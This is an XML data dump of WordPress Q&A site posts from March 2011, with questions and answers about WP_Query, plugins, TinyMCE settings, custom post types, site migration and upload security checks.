AnswerCount="2" CommentCount="7" />
  <row Id="11858" PostTypeId="2" ParentId="11003" CreationDate="2011-03-12T21:51:13.880" Score="1" ViewCount="" Body="&lt;p&gt;This wordpress plugin seems to do the trick for my problem...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/raw-html/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/raw-html/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It does seem wrong that if I enter code in the html editor it then strips it unless I resort to cheats like the pluging or adding class tags that do nothing.&lt;/p&gt;&#xA;" OwnerUserId="3900" LastActivityDate="2011-03-12T21:51:13.880" />
  <row Id="11859" PostTypeId="2" ParentId="11662" CreationDate="2011-03-12T22:01:51.100" Score="2" ViewCount="" Body="&lt;pre&gt;&lt;code&gt;$media_query = new WP_Query(&#xA;    array(&#xA;        'post_type' =&amp;gt; 'attachment',&#xA;        'post_status' =&amp;gt; 'inherit',&#xA;        'posts_per_page' =&amp;gt; -1,&#xA;    )&#xA;);&#xA;$list = array();&#xA;foreach ($media_query-&amp;gt;posts as $post) {&#xA;    $list[] = wp_get_attachment_url($post-&amp;gt;ID);&#xA;}&#xA;// do something with $list here;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Query the db for all media library items (not just ones attached to posts), grab their url, dump them all in &lt;code&gt;$list&lt;/code&gt; array.&lt;/p&gt;&#xA;" OwnerUserId="838" LastActivityDate="2011-03-12T22:01:51.100" />
  <row Id="11860" PostTypeId="1" AcceptedAnswerId="11862" CreationDate="2011-03-12T22:10:11.210" Score="1" ViewCount="61" Body="&lt;p&gt;I have a Worpdress blog on a hosting company (it's remote and existing).&#xA;I would like to load it to Netbeans.&#xA;How do I do that?&#xA;Thanks,&lt;/p&gt;&#xA;" OwnerUserId="2591" LastActivityDate="2011-03-12T22:33:58.397" Title="Loading a remote WP website to Netbeans" Tags="&lt;netbeans&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="11861" PostTypeId="2" ParentId="11662" CreationDate="2011-03-12T22:16:39.270" Score="0" ViewCount="" Body="&lt;pre&gt;&lt;code&gt;$query_images_args = array(&#xA;    'post_type' =&amp;gt; 'attachment', 'post_mime_type' =&amp;gt;'image', 'post_status' =&amp;gt; 'inherit', 'posts_per_page' =&amp;gt; -1,&#xA;);&#xA;&#xA;$query_images = new WP_Query( $query_images_args );&#xA;$images = array();&#xA;foreach ( $query_images-&amp;gt;posts as $image) {&#xA;    $images[]= $image-&amp;gt;guid;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;All the images url are now in &lt;code&gt;$images&lt;/code&gt;;&lt;/p&gt;&#xA;" OwnerUserId="3797" LastActivityDate="2011-03-12T22:16:39.270" CommentCount="2" />
  <row Id="11862" PostTypeId="2" ParentId="11860" CreationDate="2011-03-12T22:33:58.397" Score="1" ViewCount="" Body="&lt;ol&gt;&#xA;&lt;li&gt;File &gt; New Project&lt;/li&gt;&#xA;&lt;li&gt;Categories select 'PHP'&lt;/li&gt;&#xA;&lt;li&gt;Project select 'PHP Application from Remote Server'&lt;/li&gt;&#xA;&lt;li&gt;click 'Next' and give the project a name and specify where local/downloaded files will be stored.&lt;/li&gt;&#xA;&lt;li&gt;click next &lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Enter Project URL, and upload path on remote server (this probably be just / if WP is installed at root of the domain)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Here you'd need to specify how you will be connecting to remote server. Click 'Manage' button next to 'Remote Connection'&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;click 'Add' button to create a new remote connection and enter all the FTP/SFTP details and click OK&lt;/li&gt;&#xA;&lt;li&gt;Click next until the end of the wizard&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="3797" LastActivityDate="2011-03-12T22:33:58.397" />
  <row Id="11863" PostTypeId="1" AcceptedAnswerId="11870" CreationDate="2011-03-12T22:38:27.117" Score="0" ViewCount="102" Body="&lt;p&gt;I'm having some problems getting the WP Subtitle plugin to work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After inserting the &lt;code&gt;&amp;lt;?thesubtitle()?&amp;gt;&lt;/code&gt; or &lt;code&gt;&amp;lt;?getthe_subtitle($id)?&amp;gt;&lt;/code&gt; into the index.php template I get a 'call to undefined function' error - inside or outside the loop doesn't seem to matter!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance&lt;/p&gt;&#xA;&#xA;&lt;p&gt;//Update&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In most pages the following now works thanks to toscho's updated syntax&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php get_header(); ?&amp;gt;&#xA;&#xA;&amp;lt;div class=&quot;title-posts-container&quot;&amp;gt;&#xA;&amp;lt;h2 class=&quot;title-posts&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/h2&amp;gt;&#xA;&amp;lt;p class=&quot;title-posts-strap&quot;&amp;gt;&amp;lt;?php the_subtitle(); ?&amp;gt;&amp;lt;/p&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;div class=&quot;content&quot;&amp;gt;&#xA;&amp;lt;?php if (have_posts()) : while (have_posts()) : the_post(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But no such joy in index.php where the following fails&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php get_header(); ?&amp;gt;&#xA;&#xA;&amp;lt;div class=&quot;title-posts-container&quot;&amp;gt;&#xA;&amp;lt;h2 class=&quot;title-posts&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/h2&amp;gt;&#xA;&amp;lt;p class=&quot;title-posts-strap&quot;&amp;gt;&amp;lt;?php the_subtitle(); ?&amp;gt;&amp;lt;/p&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;div class=&quot;content&quot;&amp;gt;&#xA;&#xA;&amp;lt;?php if (have_posts()) : ?&amp;gt;&#xA;&amp;lt;?php while (have_posts()) : the_post(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3782" LastEditorUserId="3782" LastEditorDisplayName="" LastEditDate="2011-03-15T15:04:01.100" LastActivityDate="2011-03-15T15:04:01.100" Title="WP Subtitle Plugin Problem" Tags="&lt;plugins&gt;&lt;php&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="11865" PostTypeId="2" ParentId="11849" CreationDate="2011-03-12T22:49:58.600" Score="0" ViewCount="" Body="&lt;p&gt;Tony, you should use an action to enqueue your scripts. E.g. add something like this to your functions.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function register_script() {&#xA;   wp_register_script('capty',&#xA;       get_bloginfo('template_directory') . '/js/jquery.capty.min.js');&#xA;   // enqueue the script&#xA;   wp_enqueue_script('capty');&#xA;}&#xA;add_action( 'init','register_script');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you want to load the scripts conditionally, you could take a look at &lt;a href=&quot;http://scribu.net/wordpress/optimal-script-loading.html&quot; rel=&quot;nofollow&quot;&gt;http://scribu.net/wordpress/optimal-script-loading.html&lt;/a&gt; (article itself plus comments).&#xA;Cheers,&#xA;Peter&lt;/p&gt;&#xA;" OwnerUserId="653" LastActivityDate="2011-03-12T22:49:58.600" CommentCount="2" />
  <row Id="11866" PostTypeId="1" AcceptedAnswerId="11868" CreationDate="2011-03-12T23:56:04.123" Score="0" ViewCount="41" Body="&lt;p&gt;I have a question about moving wordpress sites around. I've read most of the Support Docs about moving a wordpress site. My question is this, what would you guys recommend in regards to moving only certain posts from one site into a totally different domain. My current domain is a tech/blog installation. The past year or so, I've been posting my technical stuff to a different domain, and my current domain is collecting quite a bit of dust. What I'm wanting to do is turn my current domain into a personal blog and move only my technical articles over to the new blog.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Obviously, there's probably an easy way to move posts and comments over (i haven't looked into it but i'm pretty sure I can do this pretty easily). The true question is how I would present these posts on the current site once they are moved over to the new domain? Do I keep them on the current domain? Should I redirect users to the new domain automatically on only these posts? Should I remove them from the current site? These type of questions I'm wondering and if you guys have an pointers please let me know.&lt;/p&gt;&#xA;" OwnerUserId="3902" LastActivityDate="2011-03-13T00:23:15.490" Title="Moving Some Articles to new site" Tags="&lt;migration&gt;" AnswerCount="1" />
  <row Id="11867" PostTypeId="1" AcceptedAnswerId="11876" CreationDate="2011-03-13T00:15:27.790" Score="1" ViewCount="90" Body="&lt;p&gt;Been fiddling around, trying to remove the &quot;path&quot; info that's shown when you create/edit a post in wordpress. Been able to remove word count and the saving draft info, but not the path thingie&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is what I'm talking about:&#xA;&lt;a href=&quot;http://dl.dropbox.com/u/3618143/Sk%C3%A4rmavbild%202011-03-13%20kl.%2001.08.11.png&quot; rel=&quot;nofollow&quot;&gt;http://dl.dropbox.com/u/3618143/Sk%C3%A4rmavbild%202011-03-13%20kl.%2001.08.11.png&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, the autosave-info that shows up on posts that's being edited. &quot;Last edited by admin&quot; etc. Can't seem to find that either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="2830" LastEditorUserId="2830" LastEditorDisplayName="" LastEditDate="2011-03-13T10:24:49.827" LastActivityDate="2011-03-13T10:24:49.827" Title="Remove path from the create/edit a post view" Tags="&lt;visual-editor&gt;" AnswerCount="1" />
  <row Id="11868" PostTypeId="2" ParentId="11866" CreationDate="2011-03-13T00:23:15.490" Score="3" ViewCount="" Body="&lt;p&gt;I would try the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;site #1 == source&#xA;site #2 == destination&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;On the Site #1:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;on all the post you want to move/migrate allocate them a category say 'moved'&lt;/li&gt;&#xA;&lt;li&gt;export them using 'Tools' &gt; 'Export' (select 'Posts' and specify categories 'moved')&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;On site #2:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Import your exported file using 'Tools' &gt; 'Import' &gt; 'WordPress' and follow the on screen instructions. You might also want to import related media or attachments.&lt;/li&gt;&#xA;&lt;li&gt;remove 'moved' category in the category editor: 'Pots' &gt; 'Categories'&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;back to site #1: put a redirect on migrated posts&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;install 'Redirection' WordPress plugin&lt;/li&gt;&#xA;&lt;li&gt;now configure all the redirects for each post or moved category to redirect to your new site/posts.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="3797" LastActivityDate="2011-03-13T00:23:15.490" CommentCount="1" />
  <row Id="11869" PostTypeId="1" AcceptedAnswerId="11872" CreationDate="2011-03-13T00:34:20.003" Score="1" ViewCount="134" Body="&lt;p&gt;I'm writing a plugin that modifies the default behavior when uploading a file for a post or to the media library. I'm setting $overrides in wp_handle_upload() with a custom $unique_filename_callback.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once I added that, it tripped the following check inside wp_handle_upload(), because $_POST['action'] wasn't set. (I'm not sure why it wasn't, but it wasn't).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( $test_form &amp;amp;&amp;amp; (!isset( $_POST['action'] ) || ($_POST['action'] != $action ) ) )&#xA;    return call_user_func($upload_error_handler, $file, __( 'Invalid form submission.' ));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, I set $overrides['test_form'] = false, and now it's working. I'm wondering if that could be a potential security issue, though. Would that allow someone to post a form from a remote source or something?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems like it's normal to disable it when you're creating your own upload fields, but I'm using the built-in post upload form, so I want to make sure.&lt;/p&gt;&#xA;" OwnerUserId="3898" LastActivityDate="2011-03-13T01:16:14.017" Title="Is disabling test_form in wp_handle_upload a security concern?" Tags="&lt;plugin-development&gt;&lt;security&gt;" AnswerCount="1" />
  <row Id="11870" PostTypeId="2" ParentId="11863" CreationDate="2011-03-13T00:40:49.803" Score="1" ViewCount="" Body="&lt;p&gt;Try the &lt;a href=&quot;http://wordpress.org/support/topic/plugin-wp-subtitle-typo-the_subtitle-not-thesubtitle&quot; rel=&quot;nofollow&quot;&gt;correct syntax&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php the_subtitle(); ?&amp;gt;&#xA;&amp;lt;?php get_the_subtitle( $id ); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="73" LastActivityDate="2011-03-13T00:40:49.803" CommentCount="7" />
  <row Id="11871" PostTypeId="1" CreationDate="2011-03-13T01:07:14.500" Score="1" ViewCount="251" Body="&lt;p&gt;I'm using custom post types, but they don't appear on tag pages along with regular posts and i'd like to include both standard and custom post types on tag or category pages. &lt;/p&gt;&#xA;&#xA;&lt;h3&gt;What would be required before the loop to include all posts? (including custom type).&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Updated:&lt;/strong&gt;&lt;br&gt;&#xA;To add, I found this code &lt;a href=&quot;http://wordpress.org/support/topic/custom-post-type-tagscategories-archive-page&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;, which worked perfectly for the first part:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('pre_get_posts', 'query_post_type');&#xA;function query_post_type($query) {&#xA;  if ( is_category() || is_tag() &amp;amp;&amp;amp; empty( $query-&amp;gt;query_vars['suppress_filters'] ) ) {&#xA;    $post_type = get_query_var('post_type');&#xA;    if($post_type)&#xA;        $post_type = $post_type;&#xA;    else&#xA;        $post_type = array('post','cpt'); // replace cpt to your custom post type&#xA;    $query-&amp;gt;set('post_type',$post_type);&#xA;    return $query;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Second question still remains though:&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Is there a way to allow readers to filter by post type?&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;So either of the following would work..  &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;example.com/tag/blue?post_type=custom&lt;/code&gt;  &lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;example.com/tag/blue?post_type=post&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="3903" LastEditorUserId="1468" LastEditorDisplayName="" LastEditDate="2011-04-12T14:18:39.670" LastActivityDate="2011-04-12T14:47:30.307" Title="How can I include custom post types on a tag page?" Tags="&lt;custom-post-types&gt;&lt;tags&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="11872" PostTypeId="2" ParentId="11869" CreationDate="2011-03-13T01:16:14.017" Score="0" ViewCount="" Body="&lt;p&gt;I wouldn't say security &lt;em&gt;concern&lt;/em&gt; - since you're using this plugin within the admin (I presume after the user has been authenticated i.e. after &lt;code&gt;admin_init&lt;/code&gt;), then already you've got protection against any Jon Doe posting a form to your script.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What it &lt;em&gt;does&lt;/em&gt; provide, is an additional layer of authentication. All it really boils down to is sending a 'secret' along with the form, and then checking for it's existence (and that it matches) before continuing. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For an attacker, they'd need to know this secret in order to breach, for example, using &lt;a href=&quot;http://en.wikipedia.org/wiki/Cross-site_request_forgery&quot; rel=&quot;nofollow&quot;&gt;CSRF&lt;/a&gt; or &lt;a href=&quot;http://en.wikipedia.org/wiki/Cross-site_scripting&quot; rel=&quot;nofollow&quot;&gt;XSS&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the very nature of how &lt;a href=&quot;http://codex.wordpress.org/WordPress_Nonces&quot; rel=&quot;nofollow&quot;&gt;WordPress nonces&lt;/a&gt; work. In fact you'd be a lot better off using these &lt;strong&gt;instead of&lt;/strong&gt; test_form. They go one step better in that they're secrets that &lt;strong&gt;expire&lt;/strong&gt;, so the window for an attacker is made even smaller.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check out &lt;a href=&quot;http://markjaquith.wordpress.com/2006/06/02/wordpress-203-nonces/&quot; rel=&quot;nofollow&quot;&gt;Jaquith's article on Nonces&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1685" LastActivityDate="2011-03-13T01:16:14.017" CommentCount="3" />
  <row Id="11873" PostTypeId="1" AcceptedAnswerId="11875" CreationDate="2011-03-13T01:23:01.270" Score="0" ViewCount="45" Body="&lt;p&gt;I set up my blog so that some of my posts get linked to a page outside of Wordpress. For these posts that get linked outside of Wordpress, I'd like to still include my header and footer so the page looks like it's still a part of my site. What would be the best way to do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried adding &lt;code&gt;&amp;lt;?php include(&quot;/path/to/header.php&quot;); ?&amp;gt;&lt;/code&gt; and &lt;code&gt;&amp;lt;?php include(&quot;/path/to/footer.php&quot;); ?&amp;gt;&lt;/code&gt; but obviously it wouldn't work since my header and footer files contain Wordpress conditional tags.&lt;/p&gt;&#xA;" OwnerUserId="3714" LastActivityDate="2011-03-13T01:30:27.930" Title="making posts linked outside of Wordpress still use the same header and footer" Tags="&lt;headers&gt;" AnswerCount="1" />
  <row Id="11874" PostTypeId="1" AcceptedAnswerId="11887" CreationDate="2011-03-13T01:23:44.807" Score="0" ViewCount="152" Body="&lt;p&gt;OK, I can create the code to add custom widgets to the widgets manager. Check.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My next challenge is to, in the same plugin, during activation, check for the existence of my theme, and if active, pre-populate the widget areas with the custom widgets I've just created.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope this makes sense. If I can do this, it will save a ton of time from configuring (and explaining how to configure) my default theme setup, which relies heavily on custom widgets. Things like an optin email form, custom slider widget, etc...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance if anyone can help me here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are my theme's default sidebars...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( function_exists('register_sidebar') )&#xA;    register_sidebar(array(&#xA;        'name' =&amp;gt; 'Home Sidebar',&#xA;        'id' =&amp;gt; 'home-sidebar-widget',&#xA;    ));&#xA;&#xA;if ( function_exists('register_sidebar') )&#xA;    register_sidebar(array(&#xA;        'name' =&amp;gt; 'Home Header Area',&#xA;        'id' =&amp;gt; 'home-header-widget',&#xA;    ));&#xA;&#xA;if ( function_exists('register_sidebar') )&#xA;    register_sidebar(array(&#xA;        'name' =&amp;gt; 'Inside Header Area',&#xA;        'id' =&amp;gt; 'inside-header-widget',&#xA;    ));&#xA;&#xA;if ( function_exists('register_sidebar') )&#xA;    register_sidebar(array(&#xA;        'name' =&amp;gt; 'Home Footer Area',&#xA;        'id' =&amp;gt; 'home-footer-widget',&#xA;    ));&#xA;&#xA;if ( function_exists('register_sidebar') )&#xA;    register_sidebar(array(&#xA;        'name' =&amp;gt; 'Inside Footer Area',&#xA;        'id' =&amp;gt; 'inside-footer-widget',&#xA;    ));&#xA;&#xA;if ( function_exists('register_sidebar') )&#xA;    register_sidebar(array(&#xA;        'name' =&amp;gt; 'Inside Sidebar',&#xA;        'id' =&amp;gt; 'inside-sidebar-widget',&#xA;    ));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="366" LastActivityDate="2011-03-13T04:28:42.637" Title="My plugin creates custom widgets, How can I programatically add them to existing sidebar widget areas?" Tags="&lt;plugin-development&gt;&lt;widgets&gt;" AnswerCount="1" />
  <row Id="11875" PostTypeId="2" ParentId="11873" CreationDate="2011-03-13T01:30:27.930" Score="0" ViewCount="" Body="&lt;p&gt;You'll either need to load in &lt;em&gt;WordPress&lt;/em&gt;, which can be considered computationally expensive if your 'other' pages are also powered by another webapp (not to mention the conflicts it may bring).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If they're just regular PHP files, you should be OK.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To load WordPress, include the file &lt;code&gt;/path/to/wordpress/wp-load.php&lt;/code&gt;, then you'll be able to use WordPress as you would normally, including things like &lt;code&gt;get_header()&lt;/code&gt; and &lt;code&gt;get_footer()&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;However&lt;/em&gt;, whilst perhaps not the most 'compact' solution, my best advice would be to create header and footer files for these other pages that replicate the HTML of your theme without WordPress-specific PHP functions, and include them instead.&lt;/p&gt;&#xA;" OwnerUserId="1685" LastActivityDate="2011-03-13T01:30:27.930" CommentCount="1" />
  <row Id="11876" PostTypeId="2" ParentId="11867" CreationDate="2011-03-13T02:13:40.280" Score="1" ViewCount="" Body="&lt;p&gt;Use the filter &lt;code&gt;tiny_mce_before_init&lt;/code&gt; to customise the default configuration;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function __my_tiny_mce( $config )&#xA;{&#xA;    $config['theme_advanced_path'] = false;&#xA;    return $config;&#xA;}&#xA;add_filter('tiny_mce_before_init', '__my_tiny_mce');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Check out all the options available on the &lt;a href=&quot;http://tinymce.moxiecode.com/wiki.php/Configuration&quot; rel=&quot;nofollow&quot;&gt;Tiny MCE documentation&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1685" LastActivityDate="2011-03-13T02:13:40.280" CommentCount="3" />
  <row Id="11877" PostTypeId="1" CreationDate="2011-03-13T02:16:04.083" Score="0" ViewCount="40" Body="&lt;p&gt;Now that wordpress 3.1 is out, where is the documentation for grouping custom post types together in the wp backend?&lt;/p&gt;&#xA;" OwnerUserId="3361" LastActivityDate="2011-03-13T02:16:04.083" Title="Now can I group custom post types together?" Tags="&lt;custom-post-types&gt;&lt;navigation-bar&gt;" CommentCount="1" />
  <row Id="11878" PostTypeId="2" ParentId="11829" CreationDate="2011-03-13T02:37:10.220" Score="1" ViewCount="" Body="&lt;p&gt;The last two hooks should specify &lt;strong&gt;2&lt;/strong&gt; accepted arguments, not 1;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('comment_approved_','ymc_subscription_add', 10, 2);&#xA;add_action('comment_post', 'ymc_subscription_add', 60, 2);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1685" LastActivityDate="2011-03-13T02:37:10.220" />
  <row Id="11879" PostTypeId="1" AcceptedAnswerId="23853" CreationDate="2011-03-13T02:51:40.127" Score="0" ViewCount="127" Body="&lt;p&gt;I am working on a Wordpress site that heavily uses image uploading and whatnot, I have defined the image sizes in my functions.php and I have hard crop mode turned on which ensures that my images are always cropped to the exact size that I want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem with hard cropping is that peoples faces in images and other artefacts are cropped out and the images look ridiculous. Is there a way to have soft cropping mode turned on and have images always be an exact size?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I find that when I use soft cropping mode, images vary in height and width. So an image I want to be 110x110 in soft crop mode can vary and sometimes be 110x96 or whatever and because that makes the layout look crappy and some photos look landscape, what is the best way to solve this issue?&lt;/p&gt;&#xA;" OwnerUserId="1687" LastActivityDate="2011-07-23T14:34:23.690" Title="Need To Resize Images Exactly Without Losing Image Details" Tags="&lt;functions&gt;&lt;images&gt;&lt;add-image-size&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="11880" PostTypeId="2" ParentId="4121" CreationDate="2011-03-13T03:01:09.190" Score="2" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://www.wpbeginner.com/about-wpbeginner/&quot; rel=&quot;nofollow&quot;&gt;WPBeginner&lt;/a&gt; (Syed Balkhi)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.deluxeblogtips.com&quot; rel=&quot;nofollow&quot;&gt;Deluxe Blog Tips&lt;/a&gt; (this is my blog about WP)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wpquestions.com&quot; rel=&quot;nofollow&quot;&gt;WPQuestions&lt;/a&gt; (a place for WP freelancers)&lt;/p&gt;&#xA;" OwnerUserId="2051" LastActivityDate="2011-03-13T03:01:09.190" CommunityOwnedDate="2011-03-13T03:01:09.190" />
  <row Id="11881" PostTypeId="2" ParentId="11871" CreationDate="2011-03-13T03:06:01.863" Score="0" ViewCount="" Body="&lt;p&gt;I am not entirely sure if this will help or not, but I found an article that lets you add post types to the main post loop: &lt;a href=&quot;http://bajada.net/2010/06/08/custom-post-types-in-the-loop-adding-a-filter-on-pre_get_posts&quot; rel=&quot;nofollow&quot;&gt;http://bajada.net/2010/06/08/custom-post-types-in-the-loop-adding-a-filter-on-pre_get_posts&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1687" LastActivityDate="2011-03-13T03:06:01.863" CommentCount="1" />
  <row Id="11882" PostTypeId="1" CreationDate="2011-03-13T03:13:50.803" Score="0" ViewCount="215" Body="&lt;p&gt;I have a page outside of my standard Wordpress site and I want to use my header and footer on it so it looks like it's part of my site. In my footer, I have a CF7 form that I'm trying to replicate. However, in the action, it says &lt;code&gt;/#wpcf7-f1-t1-o1&lt;/code&gt; however I'm not sure where that is in the plugins folder. Anybody know? Or is there an alternate action I can put in there?&lt;/p&gt;&#xA;" OwnerUserId="3714" LastActivityDate="2011-05-12T07:45:21.213" Title="action for 'contact form 7'?" Tags="&lt;contact-form-7&gt;" AnswerCount="2" />
  <row Id="11883" PostTypeId="2" ParentId="11845" CreationDate="2011-03-13T03:16:19.280" Score="1" ViewCount="" Body="&lt;p&gt;Straight from the Wordpress documentation for registering_post_type in the code you are registering your custom post type you should be able to add: 'show_in_nav_menus' =&gt; true, and that should allow your post type to show in navigation menus. Here's the documentation for the &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/register_post_type&quot; rel=&quot;nofollow&quot;&gt;register_post_type function&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Adding a link in your menu straight to the page also works, but in my opinion it is very messy. It would seem not many people are aware of the show_in_nav_menus argument of register_post_type because by default the value is set to false.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps you.&lt;/p&gt;&#xA;" OwnerUserId="1687" LastActivityDate="2011-03-13T03:16:19.280" CommentCount="1" />
  <row Id="11884" PostTypeId="2" ParentId="11882" CreationDate="2011-03-13T03:19:31.820" Score="1" ViewCount="" Body="&lt;p&gt;That action means &quot;post the form back to the website root&quot;. Your website root is the very 'top level' of your domain, for example &lt;code&gt;http://www.example.com/&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The hash indicates the point in the document to jump to - in this case, I'm betting the ID of the form is &lt;code&gt;wpcf7-f1-t1-o1&lt;/code&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You shouldn't need to alter this. Even though the form is on a page outside of WordPress, when the user clicks submit, they'll get sent back to your homepage where the form can be handled.&lt;/p&gt;&#xA;" OwnerUserId="1685" LastActivityDate="2011-03-13T03:19:31.820" CommentCount="2" />
  <row Id="11885" PostTypeId="1" CreationDate="2011-03-13T03:22:39.420" Score="0" ViewCount="46" Body="&lt;p&gt;I'm having problems with WordPress not be able to access files. When installing certain themes and plugins, it comes up with an error saying that it cannot create the directory. When I try to edit style.css it says that I need to make that file writable. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The file permissions were set to 644. It wouldn't work until I changed the settings to 777 or 776. WordPress was installed by our local ISP. Anyone got any ideas? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems that WordPress has not been setup properly. Is there anyway I can fix this without reinstalling the whole thing? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks, Joel&lt;/p&gt;&#xA;" OwnerUserId="3904" LastActivityDate="2011-03-13T03:22:39.420" Title="File permission set to 644 and wordpress cannot access them?" Tags="&lt;permissions&gt;" CommentCount="1" />
